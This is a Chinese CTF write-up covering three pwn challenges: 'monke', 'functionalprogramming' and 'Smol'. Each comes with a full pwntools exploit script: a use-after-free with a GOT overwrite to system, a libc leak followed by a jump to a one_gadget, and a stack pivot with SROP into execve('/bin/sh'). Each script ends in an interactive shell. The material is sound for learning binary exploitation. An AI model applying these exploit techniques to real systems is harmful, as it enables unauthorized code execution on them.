这次比赛做了两道题之后就没怎么看了,忙其他的去了。这里主要复现一下另一道题,monke。做这道题的时候估计脑子抽风了,居然没看还有一个隐藏选项在IDA中明明白白地显示着,自己居然没发现,导致啥漏洞都找不出来。
一、MONKE复现:
1.常规IDA,checksec一下,只开了NX。漏洞点在Free模块和隐藏选项:
Free模块
隐藏选项:
可以看到当free的时候,会对can_eat这个全局变量进行判断:
1 2 3 4 5 6 7 //注释头 can_eat默认为1 ------------------------------------------------------------------------------ if ( can_eat ) inventory[edit_idx] = 0LL;
如果为1,则将指针置零,否则就不置零。这样就会造成管理banana的inventory[idx]指针悬空,再加上选项2可以rename修改内容,直接造成UAF漏洞。同时,由于这里是通过结构体inventory来管理banana,结构体如下:
1 2 3 4 5 6 //注释头 00000000 inventory struc ; (sizeof=0x10, mappedto_4) 00000000 banana dq ? 00000008 name_size dq ? 00000010 inventory ends
打印内容的时候是通过inventory[idx]->banana来打印的,所以如果我们可以把banana的指针指向got表,那么就可以打印出got表中函数的真实地址,从而泄露出libc基地址,这样通过libc基地址和UAF漏洞直接劫持free函数,构造system(“/bin/sh”)即可。
▲思考如何将banana指针指向got表:漏洞点同样也在free函数,由于在malloc时会申请一个0x20大小的chunk来存放banana的地址和size,用来管理banana。但是在free的时候却没有free掉这个0x20大小的chunk。
(1)先申请一个0x20大小的banana0,进入隐藏选项,然后free掉,banana0进入tcache中,但是inventory[0]并没有被置0。
(2)再申请一个0x20大小的banana1,将banan0申请回来,这时管理banana1的chunk就变成了banan0,这样就可以通过inventory[0]来修改banan0从而修改管理banan1的chunk,使得原本指向banan1的指针指向free的got表。
(3)之后再通过选项2,就可以打印inventory[0].banana1的内容,也就是free的got表中的真实地址。
2.开始编写exp:
(1)首先泄露基地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #注释头 find_banana("a", 4) #跳转至隐藏选项,将can_eat置零。 walk("0") #吃掉香蕉,使得banana0进入tcache中,方便之后申请回来,同时inventory[0]没有置零。 eat(0) #申请banana1,将banana0申请回来,使得管理banana1的chunk变成banana0,方便之后修改。 find_banana("b", 8) #将*(inventory[0].banana)修改为free的got表 rename(0, p64(elf.got["free"])) sh.sendline("s") skip_menu() # 展示inventory,从inventory[0].banana对应的内存上泄露地址 sh.sendline("2") sh.recvline() sh.recvline() free = u64(sh.recvline()[3:].strip().ljust(8, b"\x00")) #计算得到libc基地址: libc.address = free - libc.symbols["free"] log.info(f"libc base leaked @ 0x{libc.address:x}")
(2)劫持free函数为system函数:
1 2 3 4 5 6 7 8 9 #注释头 #此时inventory[1].banana的值应该是free的got表,那么此时修改 #inventory[1].banana.content就会直接修改free的got表,从而劫持函数 sh.sendline("1") sh.recvline() sh.sendline("rename") sh.recvline() sh.sendline(p64(libc.symbols["system"]))
(3)再申请一个内容为/bin/sh字符串的chunk,释放掉即可getshell:
1 2 3 4 5 #注释头 find_banana("/bin/sh", 10) eat(2, True) sh.interactive()
(4)前置函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #注释头 elf = ELF("./monke") libc = ELF("./libc-2.27.so") sh = elf.process() #sh = remote("pwn.utctf.live", 9999) def skip_menu(): global sh sh.recvuntil("2: inventory\n") return bool(sh.recvline(timeout=0.5)) def walk(where="s"): global sh sh.sendline("0") sh.sendlineafter("[n|s|e|w]", where) return skip_menu() def find_banana(name, length): global sh while not walk(): pass sh.sendline("3") sh.sendlineafter("How long would you like the name to be:", str(length)) sh.sendlineafter("What would you like to name it:", name) skip_menu() def eat(idx, end = False): sh.sendline("2") sh.recvline() while bool(sh.recvline(timeout=0.5)): pass sh.sendline(str(idx)) sh.recvline() sh.sendline("eat") sh.recvline() if not end: skip_menu() def rename(idx, name): sh.sendline("2") sh.recvline() while bool(sh.recvline(timeout=0.5)): pass sh.sendline(str(idx)) sh.recvline() sh.sendline("rename") sh.recvline() sh.sendline(name) skip_menu()
二、functionalprogramming:
1.常规IDA,checksec分析,RELRO没开。程序本身很简单,输入function,parameter和element可以构造一个函数,然后调用。
2.然后程序运行过程中会泄露出libc地址和,直接从网站https://libc.blukat.me/来找版本,或者使用其他工具也可以,利用泄露出来的abs函数地址,即可得知libc版本为libc6_2.23-0ubuntu11.2_amd64。
3.然后根据程序,即可构造system(“/bin/sh”),或者利用onegadget也可以,这里直接贴exp吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/usr/bin/python #coding:utf-8 from pwn import * io = remote('pwn.utctf.live',5433) #io = process('./functionalprogramming') onegadget = 0xf0364 io.sendline('1') io.sendline('1') io.recvuntil("Abs: ") libc_abs = int(io.recv()[2:14],16) libc_base = libc_abs-0x3a640 log.info('libc_abs:%x'%libc_abs) log.info('libc_base:%x'%libc_base) io.sendline('1') #io.sendline('1') payload = "" payload += hex(libc_base+onegadget) payload = payload.replace('0x','') io.send(payload) io.interactive()
三、Smol复现:
1.没啥好分析的,栈溢出漏洞,什么保护都没开,存在BSS段,常规SROP,利用栈劫持到BSS段,懂的都懂。
2.直接贴exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #!/usr/bin/python #coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'amd64') io = remote("pwn.utctf.live",9998) payload = "" payload += p64(0x402000+0x10) payload += p64(0x402000+0x10) #addr 0x402008 payload += p64(0x401015) #rsp = 0x402020 io.send(payload) frame_execve = SigreturnFrame() #设置execve的SROP帧,注意计算/bin/sh\x00所在地址 frame_execve.rax = constants.SYS_execve frame_execve.rdi = 0x402008 frame_execve.rip = 0x40103D #syscall_addr payload2 = "" payload2 += "/bin/sh\x00" #0x402008 payload2 += p64(0x402000+0x10) #0x402010 payload2 += p64(0x401015) #0x402018 payload2 += p64(0x402000+0x30) #0x402020 payload2 += "A"*0x10 #0x402028 payload2 += p64(0x40103D) payload2 += str(frame_execve) #0x402038 io.send(payload2) #buf = 0x402008 #rsp = 0x402020 #rbp = 0x402010 ->0x402010 payload3 = payload2[0:8] payload3 += "\x30\x20\x40\x00\x00\x00\x00" io.send(payload3) io.interactive()
但是这里调试了好一段时间,需要再仔细分析一点,下回争取早点解决类似的题目。